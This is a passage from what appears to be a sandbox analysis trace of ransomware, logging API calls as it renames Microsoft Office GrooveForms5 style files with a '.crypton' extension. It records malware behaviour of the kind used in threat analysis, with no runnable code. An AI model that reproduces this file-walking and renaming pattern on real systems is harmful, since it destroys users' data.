office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\header.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\HEADER.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\header.gif.crypton"), dwFlags=0x2) returned 1 [0089.485] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0089.487] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0089.491] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue.css.crypton"), dwFlags=0x2) returned 1 [0089.495] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Beige.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\beige.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Beige.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\beige.css.crypton"), dwFlags=0x2) returned 1 [0089.496] GetFileType (hFile=0x1a8) returned 0x1 [0089.500] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb2b45be0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb2b45be0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x32000634, cFileName=".", cAlternateFileName="")) returned 0x549890 [0089.501] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0089.504] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0089.508] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay.css.crypton"), dwFlags=0x2) returned 1 [0089.513] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4dc230, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb2b6bd40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb2b6bd40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x32000634, cFileName=".", cAlternateFileName="")) returned 0x549890 [0089.515] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\background.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\background.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\background.gif.crypton"), dwFlags=0x2) returned 1 [0089.516] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\button.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\BUTTON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\button.gif.crypton"), dwFlags=0x2) returned 1 [0089.518] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0089.521] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0089.525] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange.css.crypton"), dwFlags=0x2) returned 1 [0089.530] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd502390, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb2b91ea0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb2b91ea0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x32000634, cFileName=".", cAlternateFileName="")) returned 0x549890 [0089.532] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\header.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\HEADER.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\header.gif.crypton"), dwFlags=0x2) returned 1 [0089.534] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0089.545] GetFileType (hFile=0x180) returned 0x1 [0089.548] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0089.551] GetFileType (hFile=0x1a8) returned 0x1 [0089.554] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow.css.crypton"), dwFlags=0x2) returned 1 [0089.558] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Casual.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\casual.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Casual.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\casual.css.crypton"), dwFlags=0x2) returned 1 [0089.560] GetFileType (hFile=0x1a8) returned 0x1 [0089.567] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb2bde160, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb2bde160, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x32000634, cFileName=".", cAlternateFileName="")) returned 0x549890 [0089.568] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\header.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\HEADER.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\header.gif.crypton"), dwFlags=0x2) returned 1 [0089.571] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0089.597] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0089.614] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert.css.crypton"), dwFlags=0x2) returned 1 [0089.616] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Discussion.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\discussion.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Discussion.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\discussion.css.crypton"), dwFlags=0x2) returned 1 [0089.620] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Earthy.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\earthy.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Earthy.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\earthy.css.crypton"), dwFlags=0x2) returned 1 [0089.627] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb2c766e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb2c766e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x32000634, cFileName=".", cAlternateFileName="")) returned 0x549890 [0089.629] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\header.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\HEADER.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\header.gif.crypton"), dwFlags=0x2) returned 1 [0089.631] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0089.633] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0089.638] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck.css.crypton"), dwFlags=0x2) returned 1 [0089.641] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GreenTea.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\greentea.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GreenTea.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\greentea.css.crypton"), dwFlags=0x2) returned 1 [0089.645] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\LightSpirit.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lightspirit.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\LightSpirit.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lightspirit.css.crypton"), dwFlags=0x2) returned 1 [0089.646] GetFileType (hFile=0x1a8) returned 0x1 [0089.731] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb2d81080, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb2d81080, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x32000634, cFileName=".", cAlternateFileName="")) returned 0x549890 [0089.733] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0089.735] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0089.739] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime.css.crypton"), dwFlags=0x2) returned 1 [0089.742] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Maroon.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\maroon.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Maroon.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\maroon.css.crypton"), dwFlags=0x2) returned 1 [0089.744] GetFileType (hFile=0x1a8) returned 0x1 [0089.748] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb2da71e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb2da71e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x32000634, cFileName=".", cAlternateFileName="")) returned 0x549890 [0089.751] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\header.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\HEADER.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\header.gif.crypton"), dwFlags=0x2) returned 1 [0089.753] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0089.803] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0089.808] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis.css.crypton"), dwFlags=0x2) returned 1 [0089.811] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\OliveGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\olivegreen.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\OliveGreen.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\olivegreen.css.crypton"), dwFlags=0x2) returned 1 [0089.814] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Premium.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\premium.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Premium.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\premium.css.crypton"), dwFlags=0x2) returned 1 [0089.818] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\RTF_BOLD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_bold.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\RTF_BOLD.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_bold.gif.crypton"), dwFlags=0x2) returned 1 [0089.824] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_choosefont.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_choosefont.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_choosefont.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_choosefont.gif.crypton"), dwFlags=0x2) returned 1 [0089.827] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_italic.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_italic.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_italic.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_italic.gif.crypton"), dwFlags=0x2) returned 1 [0089.829] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_spellcheck.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_spellcheck.gif"), lpNewFileName="C:\\\\Program 